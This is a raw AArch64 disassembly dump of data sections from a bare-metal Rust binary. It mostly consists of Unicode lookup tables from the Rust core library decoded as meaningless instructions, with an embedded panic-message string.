860b4: 01040701 .inst 0x01040701 ; undefined
860b8: 02030106 .inst 0x02030106 ; undefined
860bc: 05013ac6 orr z6.s, z6.s, #0xfe00ffff
860c0: 21c30100 .inst 0x21c30100 ; undefined
860c4: 018d0300 .inst 0x018d0300 ; undefined
860c8: 06002060 .inst 0x06002060 ; undefined
860cc: 04000269 add z9.b, p0/m, z9.b, z19.b
860d0: 02200a01 .inst 0x02200a01 ; undefined
860d4: 01000250 .inst 0x01000250 ; undefined
860d8: 01040103 .inst 0x01040103 ; undefined
860dc: 01050219 .inst 0x01050219 ; undefined
860e0: 121a0297 and w23, w20, #0x40
860e4: 0826010d .inst 0x0826010d ; undefined
860e8: 032e0b19 .inst 0x032e0b19 ; undefined
860ec: 04020130 .inst 0x04020130 ; undefined
860f0: 01270202 .inst 0x01270202 ; undefined
860f4: 02020643 .inst 0x02020643 ; undefined
860f8: 010c0202 .inst 0x010c0202 ; undefined
860fc: 012f0108 .inst 0x012f0108 ; undefined
86100: 03010133 .inst 0x03010133 ; undefined
86104: 02050202 .inst 0x02050202 ; undefined
86108: 022a0101 .inst 0x022a0101 ; undefined
8610c: 01ee0108 .inst 0x01ee0108 ; undefined
86110: 01040102 .inst 0x01040102 ; undefined
86114: 10000100 adr x0, 86134 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x1cc>
86118: 02001010 .inst 0x02001010 ; undefined
8611c: 01e20100 .inst 0x01e20100 ; undefined
86120: 03000595 .inst 0x03000595 ; undefined
86124: 04050201 .inst 0x04050201 ; undefined
86128: 01040328 .inst 0x01040328 ; undefined
8612c: 040002a5 add z5.b, p0/m, z5.b, z21.b
86130: 0b990200 add w0, w16, w25, asr #0
86134: 0f3601b0 .inst 0x0f3601b0 ; undefined
86138: 04310338 add z24.b, z25.b, z17.b
8613c: 03450202 .inst 0x03450202 ; undefined
86140: 08010524 stxrb w1, w4, [x9]
86144: 020c013e .inst 0x020c013e ; undefined
86148: 040a0934 smin z20.b, p2/m, z20.b, z9.b
8614c: 035f0102 .inst 0x035f0102 ; undefined
86150: 02010102 .inst 0x02010102 ; undefined
86154: 01a00106 .inst 0x01a00106 ; undefined
86158: 02150803 .inst 0x02150803 ; undefined
8615c: 01010239 .inst 0x01010239 ; undefined
86160: 01160101 .inst 0x01160101 ; undefined
86164: 0503070e orr z14.d, z14.d, #0xffffffff01ffffff
86168: 030208c3 .inst 0x030208c3 ; undefined
8616c: 01170101 .inst 0x01170101 ; undefined
86170: 06020151 .inst 0x06020151 ; undefined
86174: 01020101 .inst 0x01020101 ; undefined
86178: 02010201 .inst 0x02010201 ; undefined
8617c: 040201eb .inst 0x040201eb ; undefined
86180: 02010206 .inst 0x02010206 ; undefined
86184: 0855021b ldxrb w27, [x16]
86188: 02010102 .inst 0x02010102 ; undefined
8618c: 0101016a .inst 0x0101016a ; undefined
86190: 01010602 .inst 0x01010602 ; undefined
86194: 04020365 .inst 0x04020365 ; undefined
86198: 09000501 .inst 0x09000501 ; undefined
8619c: 01f50201 .inst 0x01f50201 ; undefined
861a0: 0101020a .inst 0x0101020a ; undefined
861a4: 04900104 mul z4.s, p0/m, z4.s, z8.s
861a8: 01040202 .inst 0x01040202 ; undefined
861ac: 06280a20 .inst 0x06280a20 ; undefined
861b0: 01080402 .inst 0x01080402 ; undefined
861b4: 03020609 .inst 0x03020609 ; undefined
861b8: 02010d2e .inst 0x02010d2e ; undefined
861bc: 06010700 .inst 0x06010700 ; undefined
861c0: 16520101 b fffffffff95065c4 <__heap_end+0xffffffffbb5065c4>
861c4: 02010702 .inst 0x02010702 ; undefined
861c8: 067a0201 .inst 0x067a0201 ; undefined
861cc: 02010103 .inst 0x02010103 ; undefined
861d0: 01010701 .inst 0x01010701 ; undefined
861d4: 01030248 .inst 0x01030248 ; undefined
861d8: 02000101 .inst 0x02000101 ; undefined
861dc: 073b0500 .inst 0x073b0500 ; undefined
861e0: 043f0100 add z0.b, z8.b, z31.b
861e4: 02000151 .inst 0x02000151 ; undefined
861e8: 03010100 .inst 0x03010100 ; undefined
861ec: 08080504 stxrb w8, w4, [x8]
861f0: 041e0702 .inst 0x041e0702 ; undefined
861f4: 37000394 tbnz w20, #0, 86264 <anon.da70acf48479ae6767f568a05ea2e9a7.6.llvm.2339018429671269780+0x44>
861f8: 01083204 .inst 0x01083204 ; undefined
861fc: 0516010e mov z14.b, p6/z, #8
86200: 07000f01 .inst 0x07000f01 ; undefined
86204: 07021101 .inst 0x07021101 ; undefined
86208: 05010201 orr z1.s, z1.s, #0x1ffff
8620c: 04000700 add z0.b, p1/m, z0.b, z24.b
86210: 076d0700 .inst 0x076d0700 ; undefined
86214: f0806000 adrp x0, ffffffff00c89000 <__heap_end+0xfffffffec2c89000>
...
0000000000086220 <anon.da70acf48479ae6767f568a05ea2e9a7.6.llvm.2339018429671269780>:
86220: 61632e2e .inst 0x61632e2e ; undefined
86224: 64656c6c .inst 0x64656c6c ; undefined
86228: 704f6020 adr x0, 124e2f <__heap_start+0x5be2f>
8622c: 6e6f6974 .inst 0x6e6f6974 ; undefined
86230: 6e753a3a .inst 0x6e753a3a ; undefined
86234: 70617277 adr x23, 149083 <__heap_start+0x80083>
86238: 20602928 .inst 0x20602928 ; undefined
8623c: 61206e6f .inst 0x61206e6f ; undefined
86240: 6f4e6020 umlsl2 v0.4s, v1.8h, v14.h[0]
86244: 2060656e .inst 0x2060656e ; undefined
86248: 756c6176 .inst 0x756c6176 ; undefined
8624c: 5c3a4365 ldr d5, faab8 <__heap_start+0x31ab8>
86250: 72657355 .inst 0x72657355 ; undefined
86254: 73705c73 .inst 0x73705c73 ; undefined
86258: 5c697770 ldr d16, 159144 <__heap_start+0x90144>
8625c: 7375722e .inst 0x7375722e ; undefined
86260: 5c707574 ldr d20, 16710c <__heap_start+0x9e10c>
86264: 6c6f6f74 ldnp d20, d27, [x27, #-272]
86268: 69616863 ldpsw x3, x26, [x3, #-248]
8626c: 6e5c736e .inst 0x6e5c736e ; undefined
86270: 74686769 .inst 0x74686769 ; undefined
86274: 782d796c strh w12, [x11, x13, lsl #1]
86278: 365f3638 tbz w24, #11, 8493c <.EXC_CURREL_SP0_Fiq+0x3c>
8627c: 63702d34 .inst 0x63702d34 ; undefined
86280: 6e69772d uabd v13.8h, v25.8h, v9.8h
86284: 73776f64 .inst 0x73776f64 ; undefined
86288: 76736d2d .inst 0x76736d2d ; undefined
8628c: 696c5c63 ldpsw x3, x23, [x3, #-160]
86290: 75725c62 .inst 0x75725c62 ; undefined
86294: 696c7473 ldpsw x19, x29, [x3, #-160]
86298: 72735c62 .inst 0x72735c62 ; undefined
8629c: 75725c63 .inst 0x75725c63 ; undefined
862a0: 6c5c7473 ldnp d19, d29, [x3, #448]
862a4: 61726269 .inst 0x61726269 ; undefined
862a8: 635c7972 .inst 0x635c7972 ; undefined
862ac: 5c65726f ldr d15, 1510f8 <__heap_start+0x880f8>
862b0: 5c637273 ldr d19, 14d0fc <__heap_start+0x840fc>
862b4: 63696e75 .inst 0x63696e75 ; undefined
862b8: 5c65646f ldr d15, 150f44 <__heap_start+0x87f44>
862bc: 6e697270 uabdl2 v16.4s, v19.8h, v9.8h
862c0: 6c626174 ldnp d20, d24, [x11, #-480]
862c4: 73722e65 .inst 0x73722e65 ; undefined
00000000000862c8 <anon.da70acf48479ae6767f568a05ea2e9a7.21.llvm.2339018429671269780>:
862c8: 05030100 orr z0.d, z0.d, #0x1ff00000000
862cc: 03060605 .inst 0x03060605 ; undefined
862d0: 08080607 stxrb w8, w7, [x16]
862d4: 1c0a1109 ldr s9, 9a4f4 <__stack_top_core3__+0x1eb4>
862d8: 140c190b b 38c704 <__heap_start+0x2c3704>
862dc: 0d0e100d .inst 0x0d0e100d ; undefined
862e0: 0310040f .inst 0x0310040f ; undefined
862e4: 09131212 .inst 0x09131212 ; undefined
862e8: 05170116 mov z22.b, p7/z, #8
862ec: 03190218 .inst 0x03190218 ; undefined
862f0: 021c071a .inst 0x021c071a ; undefined
862f4: 161f011d b fffffffff8846768 <__heap_end+0xffffffffba846768>
862f8: 032b0320 .inst 0x032b0320 ; undefined
862fc: 0b2d022c add w12, w17, w13, uxtb
86300: 0330012e .inst 0x0330012e ; undefined
86304: 01320231 .inst 0x01320231 ; undefined
86308: 02a902a7 .inst 0x02a902a7 ; undefined
8630c: 08ab04aa .inst 0x08ab04aa ; undefined
86310: 05fb02fa .inst 0x05fb02fa ; undefined
86314: 03fe04fd .inst 0x03fe04fd ; undefined
86318: .inst 0x78ad09ff ; undefined
000000000008631a <anon.da70acf48479ae6767f568a05ea2e9a7.22.llvm.2339018429671269780>:
8631a: 8b7978ad .inst 0x8b7978ad ; undefined
8631e: 5730a28d .inst 0x5730a28d ; undefined
86322: 908c8b58 adrp x24, ffffffff191ee000 <__heap_end+0xfffffffedb1ee000>
86326: 0edd1d1c .inst 0x0edd1d1c ; undefined
8632a: fb4c4b0f .inst 0xfb4c4b0f ; undefined
8632e: 3f2f2efc .inst 0x3f2f2efc ; undefined
86332: b55f5d5c cbnz x28, 144eda <__heap_start+0x7beda>
86336: 8e8d84e2 .inst 0x8e8d84e2 ; undefined
8633a: b1a99291 .inst 0xb1a99291 ; undefined
8633e: c6c5bbba .inst 0xc6c5bbba ; undefined
86342: e4decac9 st1h {z9.s}, p2, [x22, z30.s, sxtw]
86346: 0400ffe5 msb z5.b, p7/m, z0.b, z31.b
8634a: 31291211 adds w17, w16, #0xa44
8634e: 3b3a3734 .inst 0x3b3a3734 ; undefined
86352: 5d4a493d .inst 0x5d4a493d ; undefined
86356: a9928e84 stp x4, x3, [x20, #296]!
8635a: bbbab4b1 .inst 0xbbbab4b1 ; undefined
8635e: cfcecac6 .inst 0xcfcecac6 ; undefined
86362: 0400e5e4 msb z4.b, p1/m, z0.b, z15.b
86366: 12110e0d and w13, w16, #0x78000
8636a: 3a343129 .inst 0x3a343129 ; undefined
8636e: 4946453b .inst 0x4946453b ; undefined
86372: 65645e4a fnmla z10.h, p7/m, z18.h, z4.h
86376: 9d9b9184 .inst 0x9d9b9184 ; undefined
8637a: 0dcfcec9 ld1r {v9.1d}, [x22], x15
8637e: 49452911 .inst 0x49452911 ; undefined
86382: 8d656457 .inst 0x8d656457 ; undefined
86386: bab4a991 .inst 0xbab4a991 ; undefined
8638a: dfc9c5bb .inst 0xdfc9c5bb ; undefined
8638e: 0df0e5e4 ld4r {v4.4h-v7.4h}, [x15], x16
86392: 64494511 fcmla z17.h, p1/m, z8.h, z9.h, #180
86396: b2848065 .inst 0xb2848065 ; undefined
8639a: d5bfbebc .inst 0xd5bfbebc ; undefined
8639e: 83f1f0d7 .inst 0x83f1f0d7 ; undefined
863a2: a6a48b85 .inst 0xa6a48b85 ; undefined
863a6: c7c5bfbe .inst 0xc7c5bfbe ; undefined
863aa: dbdacfce .inst 0xdbdacfce ; undefined
863ae: cdbd9848 .inst 0xcdbd9848 ; undefined
863b2: 49cfcec6 .inst 0x49cfcec6 ; undefined
863b6: 59574f4e .inst 0x59574f4e ; undefined
863ba: 8e895f5e .inst 0x8e895f5e ; undefined
863be: b7b6b18f tbnz x15, #54, 839ee <__hang+0x8e>
863c2: c7c6c1bf .inst 0xc7c6c1bf ; undefined
863c6: 171611d7 b fffffffffc60ab22 <__heap_end+0xffffffffbe60ab22>
863ca: f7f65c5b .inst 0xf7f65c5b ; undefined
863ce: 0d80fffe .inst 0x0d80fffe ; undefined
863d2: dfde716d .inst 0xdfde716d ; undefined
863d6: 6e1f0f0e mov v14.b[15], v24.b[1]
863da: 5f1d1c6f .inst 0x5f1d1c6f ; undefined
863de: afae7e7d .inst 0xafae7e7d ; undefined
863e2: 16fabcbb b fffffffffbf356ce <__heap_end+0xffffffffbdf356ce>
863e6: 461f1e17 .inst 0x461f1e17 ; undefined
863ea: 584f4e47 ldr x7, 124db2 <__heap_start+0x5bdb2>
863ee: 7e5e5c5a .inst 0x7e5e5c5a ; undefined
863f2: d4c5b57f .inst 0xd4c5b57f ; undefined
863f6: f1f0dcd5 .inst 0xf1f0dcd5 ; undefined
863fa: 8f7372f5 .inst 0x8f7372f5 ; undefined
863fe: 2f967574 .inst 0x2f967574 ; undefined
86402: 2f2e265f urshr v31.2s, v18.2s, #18
86406: bfb7afa7 .inst 0xbfb7afa7 ; undefined
8640a: dfd7cfc7 .inst 0xdfd7cfc7 ; undefined
8640e: 9897409a ldrsw x26, fffffffffffb4c1e <__heap_end+0xffffffffc1fb4c1e>
86412: c01f8f30 .inst 0xc01f8f30 ; undefined
86416: 4effcec1 fmls v1.2d, v22.2d, v31.2d
8641a: 075b5a4f .inst 0x075b5a4f ; undefined
8641e: 27100f08 .inst 0x27100f08 ; undefined
86422: 6eefee2f facgt v15.2d, v17.2d, v15.2d
86426: 3f3d376f .inst 0x3f3d376f ; undefined
8642a: 91904542 .inst 0x91904542 ; undefined
8642e: 6753fffe .inst 0x6753fffe ; undefined
86432: d0c9c875 adrp x21, ffffffff93994000 <__heap_end+0xffffffff55994000>
86436: e7d9d8d1 .inst 0xe7d9d8d1 ; undefined
8643a: .inst 0x2000fffe ; undefined
000000000008643c <anon.da70acf48479ae6767f568a05ea2e9a7.23.llvm.2339018429671269780>:
8643c: 225f2000 .inst 0x225f2000 ; undefined
86440: 8204df82 .inst 0x8204df82 ; undefined
86444: 041b0844 bic z4.b, p2/m, z4.b, z2.b
86448: ac811106 stp q6, q4, [x8], #32
8644c: 35ab800e cbnz w14, fffffffffffdd44c <__heap_end+0xffffffffc1fdd44c>
86450: e0800b28 .inst 0xe0800b28 ; undefined
86454: 01081903 .inst 0x01081903 ; undefined
86458: 34042f04 cbz w4, 8ea38 <__stack_end__+0x63f8>
8645c: 01030704 .inst 0x01030704 ; undefined
86460: 11070607 add w7, w16, #0x1c1
86464: 120f500a and w10, w0, #0xfffe003f
86468: 03075507 .inst 0x03075507 ; undefined
8646c: 090a1c04 .inst 0x090a1c04 ; undefined
86470: 07030803 .inst 0x07030803 ; undefined
86474: 03030203 .inst 0x03030203 ; undefined
86478: 05040c03 .inst 0x05040c03 ; undefined
8647c: 01060b03 .inst 0x01060b03 ; undefined
86480: 3a05150e .inst 0x3a05150e ; undefined
86484: 06071103 .inst 0x06071103 ; undefined
86488: 57071005 .inst 0x57071005 ; undefined
8648c: 15070207 b 4246ca8 <__heap_start+0x417dca8>
86490: 4304500d .inst 0x4304500d ; undefined
86494: 01032d03 .inst 0x01032d03 ; undefined
86498: 0f061104 fmla v4.4h, v8.4h, v6.h[0]
8649c: 1d043a0c .inst 0x1d043a0c ; undefined
864a0: 6d205f25 stp d5, d23, [x25, #-512]
864a4: 80256a04 .inst 0x80256a04 ; NYI
864a8: b08205c8 adrp x8, ffffffff0413f000 <__heap_end+0xfffffffec613f000>
864ac: 82061a03 .inst 0x82061a03 ; undefined
864b0: 075903fd .inst 0x075903fd ; undefined
864b4: 09170b15 .inst 0x09170b15 ; undefined
864b8: 0c140c14 .inst 0x0c140c14 ; undefined
864bc: 060a066a .inst 0x060a066a ; undefined
864c0: 0759061a .inst 0x0759061a ; undefined
864c4: 0a46052b and w11, w9, w6, lsr #1
864c8: 040c042c sabd z12.b, p1/m, z12.b, z1.b
864cc: 0b310301 add w1, w24, w17, uxtb
864d0: 061a042c .inst 0x061a042c ; undefined
864d4: ac80030b stp q11, q0, [x24], #0
864d8: 21060a06 .inst 0x21060a06 ; undefined
864dc: 2d044c3f stp s31, s19, [x1, #32]
864e0: 3c087403 str b3, [x0], #135
864e4: 3c030f03 str b3, [x24, #48]!
864e8: 2b083807 adds w7, w0, w8, lsl #14
864ec: 11ff8205 .inst 0x11ff8205 ; undefined
864f0: 112f0818 add w24, w0, #0xbc2
864f4: 1020032d adr x13, c6558 <__stack_top_EL2__+0xcf18>
864f8: 8c800f21 .inst 0x8c800f21 ; undefined
864fc: 19978204 ldapursb x4, [x16, #-136]
86500: 9488150b bl 228b92c <__heap_start+0x21c292c>
86504: 3b052f05 .inst 0x3b052f05 ; undefined
86508: 180e0207 ldr w7, a2548 <__stack_top_core3__+0x9f08>
8650c: 2db38009 stp s9, s0, [x0, #-100]!
86510: d6800c74 .inst 0xd6800c74 ; undefined
86514: 80050c1a .inst 0x80050c1a ; undefined
86518: df8005ff .inst 0xdf8005ff ; undefined
8651c: 030dee0c .inst 0x030dee0c ; undefined
86520: 37038d84 tbnz w4, #0, 8d6d0 <__stack_end__+0x5090>
86524: 145c8109 b 17a6948 <__heap_start+0x16dd948>
86528: 8008b880 .inst 0x8008b880 ; undefined
8652c: 03382acb .inst 0x03382acb ; undefined
86530: 0838060a .inst 0x0838060a ; undefined
86534: 060c0846 .inst 0x060c0846 ; undefined
86538: 031e0b74 .inst 0x031e0b74 ; undefined
8653c: 0959045a .inst 0x0959045a ; undefined
86540: 1c188380 ldr s0, b75b0 <__stack_top_core2__+0xef70>
86544: 4c09160a .inst 0x4c09160a ; undefined
86548: 068a8004 .inst 0x068a8004 ; undefined
8654c: 170ca4ab b fffffffffc3af7f8 <__heap_end+0xffffffffbe3af7f8>
86550: 04a13104 eor z4.d, z8.d, z1.d
86554: 0726da81 .inst 0x0726da81 ; undefined
86558: 8005050c .inst 0x8005050c ; undefined
8655c: 6d8111a5 stp d5, d4, [x13, #16]!
86560: 2a287810 orn w16, w0, w8, lsl #30
86564: 80044c06 .inst 0x80044c06 ; undefined
86568: be80048d .inst 0xbe80048d ; undefined
8656c: 0f031b03 fmla v3.4h, v24.4h, v3.h[4]
86570: .inst 0x0106000d ; undefined
0000000000086571 <anon.da70acf48479ae6767f568a05ea2e9a7.24.llvm.2339018429671269780>:
86571: 01010600 .inst 0x01010600 ; undefined
86575: 02040103 .inst 0x02040103 ; undefined
86579: 02090808 .inst 0x02090808 ; undefined
8657d: 020b050a .inst 0x020b050a ; undefined
86581: 0110040e .inst 0x0110040e ; undefined
86585: 05120211 mov z17.b, p2/z, #16
86589: 01141113 .inst 0x01141113 ; undefined
8658d: 02170215 .inst 0x02170215 ; undefined
86591: 051c0d19 mov z25.b, p12/z, #104
86595: 0124081d .inst 0x0124081d ; undefined
86599: 026b036a .inst 0x026b036a ; undefined
8659d: 02d102bc .inst 0x02d102bc ; undefined
865a1: 09d50cd4 .inst 0x09d50cd4 ; undefined
865a5: 02d702d6 .inst 0x02d702d6 ; undefined
865a9: 05e001da .inst 0x05e001da ; undefined
865ad: 02e802e1 .inst 0x02e802e1 ; undefined
865b1: 04f020ee .inst 0x04f020ee ; undefined
865b5: 02f902f8 .inst 0x02f902f8 ; undefined
865b9: 01fb02fa .inst 0x01fb02fa ; undefined
00000000000865bd <anon.da70acf48479ae6767f568a05ea2e9a7.25.llvm.2339018429671269780>:
865bd: 3e3b270c .inst 0x3e3b270c ; undefined
865c1: 9e8f4f4e .inst 0x9e8f4f4e ; undefined
865c5: 07069f9e .inst 0x07069f9e ; undefined
865c9: 3e3d3609 .inst 0x3e3d3609 ; undefined
865cd: d1d0f356 .inst 0xd1d0f356 ; undefined
865d1: 36181404 tbz w4, #3, 86851 <anon.da70acf48479ae6767f568a05ea2e9a7.26.llvm.2339018429671269780+0x1e5>
865d5: 7f575637 sli d23, d17, #23
865d9: bdafaeaa .inst 0xbdafaeaa ; undefined
865dd: 8712e035 .inst 0x8712e035 ; undefined
865e1: 049e8e89 .inst 0x049e8e89 ; undefined
865e5: 12110e0d and w13, w16, #0x78000
865e9: 3a343129 .inst 0x3a343129 ; undefined
865ed: 4a494645 eor w5, w18, w9, lsr #17
865f1: 65644f4e fnmla z14.h, p3/m, z26.h, z4.h
865f5: 1bb7b65c .inst 0x1bb7b65c ; undefined
865f9: 0a08071c and w28, w24, w8, lsl #1
865fd: 3617140b tbz w11, #2, 8487d <__ExceptionVectorTable+0x7d>
86601: a9a83a39 stp x25, x14, [x17, #-384]!
86605: 3709d9d8 tbnz w24, #1, 8a13d <__stack_end__+0x1afd>
86609: 07a89190 .inst 0x07a89190 ; undefined
8660d: 663e3b0a .inst 0x663e3b0a ; undefined
86611: 6f928f69 .inst 0x6f928f69 ; undefined
86615: 5aefee5f .inst 0x5aefee5f ; undefined
86619: 279b9a62 .inst 0x279b9a62 ; undefined
8661d: a09d5528 .inst 0xa09d5528 ; undefined
86621: a7a4a3a1 .inst 0xa7a4a3a1 ; undefined
86625: bcbaada8 .inst 0xbcbaada8 ; undefined
86629: 0c0b06c4 .inst 0x0c0b06c4 ; undefined
8662d: 3f3a1d15 .inst 0x3f3a1d15 ; undefined
86631: a7a65145 .inst 0xa7a65145 ; undefined
86635: 07a0cdcc .inst 0x07a0cdcc ; undefined
86639: 25221a19 whilehi p9.b, x16, x2
8663d: c6c53f3e .inst 0xc6c53f3e ; undefined
86641: 25232004 .inst 0x25232004 ; undefined
86645: 38332826 .inst 0x38332826 ; undefined
86649: 4c4a483a .inst 0x4c4a483a ; undefined
8664d: 56555350 .inst 0x56555350 ; undefined
86651: 5e5c5a58 .inst 0x5e5c5a58 ; undefined
86655: 66656360 .inst 0x66656360 ; undefined
86659: 7d78736b ldr h11, [x27, #7224]
8665d: aaa48a7f orn xzr, x19, x4, asr #34
86661: d0c0b0af adrp x15, ffffffff8169c000 <__heap_end+0xffffffff4369c000>
86665: cc79afae .inst 0xcc79afae ; undefined
86669: .inst 0x5e936f6e ; undefined
000000000008666c <anon.da70acf48479ae6767f568a05ea2e9a7.26.llvm.2339018429671269780>:
8666c: 057b225e mov z30.b, z18.b[29]
86670: 032d0403 .inst 0x032d0403 ; undefined
86674: 2f010366 .inst 0x2f010366 ; undefined
86678: 1d82802e .inst 0x1d82802e ; undefined
8667c: 1c0f3103 ldr s3, a4c9c <__stack_top_core3__+0xc65c>
86680: 1e092404 .inst 0x1e092404 ; undefined
86684: 44052b05 cmla z5.b, z24.b, z5.b, #180
86688: 802a0e04 .inst 0x802a0e04 ; NYI
8668c: 042406aa sub z10.b, z21.b, z4.b
86690: 08280424 .inst 0x08280424 ; undefined
86694: 80010b34 .inst 0x80010b34 ; undefined
86698: 09378190 .inst 0x09378190 ; undefined
8669c: 80080a16 .inst 0x80080a16 ; undefined
866a0: 63033998 .inst 0x63033998 ; undefined
866a4: 16300908 b fffffffff8c88ac4 <__heap_end+0xffffffffbac88ac4>
866a8: 1b032105 madd w5, w8, w3, w8
866ac: 38400105 ldurb w5, [x8]
866b0: 2f054b04 .inst 0x2f054b04 ; undefined
866b4: 09070a04 .inst 0x09070a04 ; undefined
866b8: 27204007 .inst 0x27204007 ; undefined
866bc: 36090c04 tbz w4, #1, 8883c <__stack_end__+0x1fc>
866c0: 1a053a03 .inst 0x1a053a03 ; undefined
866c4: 070c0407 .inst 0x070c0407 ; undefined
866c8: 33374950 .inst 0x33374950 ; undefined
866cc: 2e07330d ext v13.8b, v24.8b, v7.8b, #6
866d0: 26810a08 .inst 0x26810a08 ; undefined
866d4: 08284e52 .inst 0x08284e52 ; undefined
866d8: 141c562a b 79bf80 <__heap_start+0x6d2f80>
866dc: 044e0917 .inst 0x044e0917 ; undefined
866e0: 0e430f1e fmla v30.4h, v24.4h, v3.4h
866e4: 060a0719 .inst 0x060a0719 ; undefined
866e8: 09270848 .inst 0x09270848 ; undefined
866ec: 413f0b75 .inst 0x413f0b75 ; undefined
866f0: 053b062a ext z10.b, z10.b, z17.b, #217
866f4: 0651060a .inst 0x0651060a ; undefined
866f8: 03100501 .inst 0x03100501 ; undefined
866fc: 628b8005 .inst 0x628b8005 ; undefined
86700: 0a08481e and w30, w0, w8, lsl #18
86704: 225ea680 .inst 0x225ea680 ; undefined
86708: 060a0b45 .inst 0x060a0b45 ; undefined
8670c: 0739130d .inst 0x0739130d ; undefined
86710: 042c360a xar z10.b, z10.b, z16.b, #4
86714: 3cc08010 ldur q16, [x0, #8]
86718: 480c5364 stxrh w12, w4, [x27]
8671c: 45460a09 uaddlb z9.h, z16.b, z6.b
86720: 5308481b ubfx w27, w0, #8, #11
86724: 0781391d .inst 0x0781391d ; undefined
86728: 031d0a46 .inst 0x031d0a46 ; undefined
8672c: 03374947 .inst 0x03374947 ; undefined
86730: 060a080e .inst 0x060a080e ; undefined
86734: 810a0739 .inst 0x810a0739 ; undefined
86738: b7801936 tbnz x22, #48, 86a5c <anon.a7c90de7e5cc6c178c09142d4ee6f15c.8.llvm.14833330310357332318+0x124>
8673c: 0d320f01 .inst 0x0d320f01 ; undefined
86740: 75669b83 .inst 0x75669b83 ; undefined
86744: 8ac4800b and x11, x0, x4, ror #32
86748: 8f2f84bc .inst 0x8f2f84bc ; undefined
8674c: a14782d1 .inst 0xa14782d1 ; undefined
86750: 073982b9 .inst 0x073982b9 ; undefined
86754: 6002042a .inst 0x6002042a ; undefined
86758: 0a460a26 and w6, w17, w6, lsr #2
8675c: 82130528 .inst 0x82130528 ; undefined
86760: 4b655bb0 .inst 0x4b655bb0 ; undefined
86764: 11073904 add w4, w8, #0x1ce
86768: 020b0540 .inst 0x020b0540 ; undefined
8676c: 08f8970e .inst 0x08f8970e ; undefined
86770: 092ad684 .inst 0x092ad684 ; undefined
86774: 1f81f7a2 .inst 0x1f81f7a2 ; undefined
86778: 04110331 .inst 0x04110331 ; undefined
8677c: 898c8108 .inst 0x898c8108 ; undefined
86780: 0d056b04 .inst 0x0d056b04 ; undefined
86784: 10070903 adr x3, 948a4 <__stack_end__+0xc264>
86788: f6806093 .inst 0xf6806093 ; undefined
8678c: 6e08730a ext v10.16b, v24.16b, v8.16b, #14
86790: 9a804617 csinc x23, x16, x0, mi // mi = first
86794: 09570c14 .inst 0x09570c14 ; undefined
86798: 81878019 .inst 0x81878019 ; undefined
8679c: 42850347 .inst 0x42850347 ; undefined
867a0: 5085150f adr x15, fffffffffff90a42 <__heap_end+0xffffffffc1f90a42>
867a4: 2dd5802b ldp s11, s0, [x1, #172]!
867a8: 02041a03 .inst 0x02041a03 ; undefined
867ac: 053a7081 trn1 z1.b, z4.b, z26.b
867b0: 80008501 .inst 0x80008501 ; undefined
867b4: 044c29d7 .inst 0x044c29d7 ; undefined
867b8: 8302040a .inst 0x8302040a ; undefined
867bc: 3d4c4411 ldr b17, [x0, #785]
867c0: 063cc280 .inst 0x063cc280 ; undefined
867c4: 05550401 mov z1.h, p5/z, #32
867c8: 8102341b .inst 0x8102341b ; undefined
867cc: 64042c0e .inst 0x64042c0e ; undefined
867d0: 800a560c .inst 0x800a560c ; undefined
867d4: 0d1d38ae .inst 0x0d1d38ae ; undefined
867d8: 0709042c .inst 0x0709042c ; undefined
867dc: 80060e02 .inst 0x80060e02 ; undefined
867e0: 08d8839a .inst 0x08d8839a ; undefined
867e4: 030d030d .inst 0x030d030d ; undefined
867e8: 07590c74 .inst 0x07590c74 ; undefined
867ec: 040c140c sabd z12.b, p5/m, z12.b, z0.b
867f0: 060a0838 .inst 0x060a0838 ; undefined
867f4: 4e220828 .inst 0x4e220828 ; undefined
867f8: 150c5481 b 439b9fc <__heap_start+0x42d29fc>
867fc: 07050303 .inst 0x07050303 ; undefined
86800: 07071909 .inst 0x07071909 ; undefined
86804: 070d0309 .inst 0x070d0309 ; undefined
86808: 25cb8029 cmpeq p9.d, p0/z, z1.d, #11
8680c: 4206840a .inst 0x4206840a ; undefined
86810: 6f72726f fcmla v15.8h, v19.8h, v18.h[1], #270
86814: 72724577 .inst 0x72724577 ; undefined
86818: 6f42726f fcmla v15.8h, v19.8h, v2.h[0], #270
8681c: 776f7272 .inst 0x776f7272 ; undefined
86820: 4574754d subhnt z13.b, z10.h, z20.h
86824: 726f7272 .inst 0x726f7272 ; undefined
86828: 6c6c6163 ldnp d3, d24, [x11, #-320]
8682c: 60206465 .inst 0x60206465 ; undefined
86830: 6974704f ldpsw x15, x28, [x2, #-96]
86834: 3a3a6e6f .inst 0x3a3a6e6f ; undefined
86838: 72776e75 .inst 0x72776e75 ; undefined
8683c: 29287061 stp w1, w28, [x3, #-192]
86840: 6e6f2060 usubl2 v0.4s, v3.8h, v15.8h
86844: 60206120 .inst 0x60206120 ; undefined
86848: 656e6f4e fnmls z14.h, p3/m, z26.h, z14.h
8684c: 61762060 .inst 0x61762060 ; undefined
86850: 3a65756c .inst 0x3a65756c ; undefined
86854: 5c3a4320 ldr d0, fb0b8 <__heap_start+0x320b8>
86858: 72657355 .inst 0x72657355 ; undefined
8685c: 73705c73 .inst 0x73705c73 ; undefined
86860: 5c697770 ldr d16, 15974c <__heap_start+0x9074c>
86864: 7375722e .inst 0x7375722e ; undefined
86868: 5c707574 ldr d20, 167714 <__heap_start+0x9e714>
8686c: 6c6f6f74 ldnp d20, d27, [x27, #-272]
86870: 69616863 ldpsw x3, x26, [x3, #-248]
86874: 6e5c736e .inst 0x6e5c736e ; undefined
86878: 74686769 .inst 0x74686769 ; undefined
8687c: 782d796c strh w12, [x11, x13, lsl #1]
86880: 365f3638 tbz w24, #11, 84f44 <.EXC_LOWEREL32_SPX_Fiq+0x44>
86884: 63702d34 .inst 0x63702d34 ; undefined
86888: 6e69772d uabd v13.8h, v25.8h, v9.8h
8688c: 73776f64 .inst 0x73776f64 ; undefined
86890: 76736d2d .inst 0x76736d2d ; undefined
86894: 696c5c63 ldpsw x3, x23, [x3, #-160]
86898: 75725c62 .inst 0x75725c62 ; undefined
8689c: 696c7473 ldpsw x19, x29, [x3, #-160]
868a0: 72735c62 .inst 0x72735c62 ; undefined
868a4: 75725c63 .inst 0x75725c63 ; undefined
868a8: 6c5c7473 ldnp d19, d29, [x3, #448]
868ac: 61726269 .inst 0x61726269 ; undefined
868b0: 635c7972 .inst 0x635c7972 ; undefined
868b4: 5c65726f ldr d15, 151700 <__heap_start+0x88700>
868b8: 5c637273 ldr d19, 14d704 <__heap_start+0x84704>
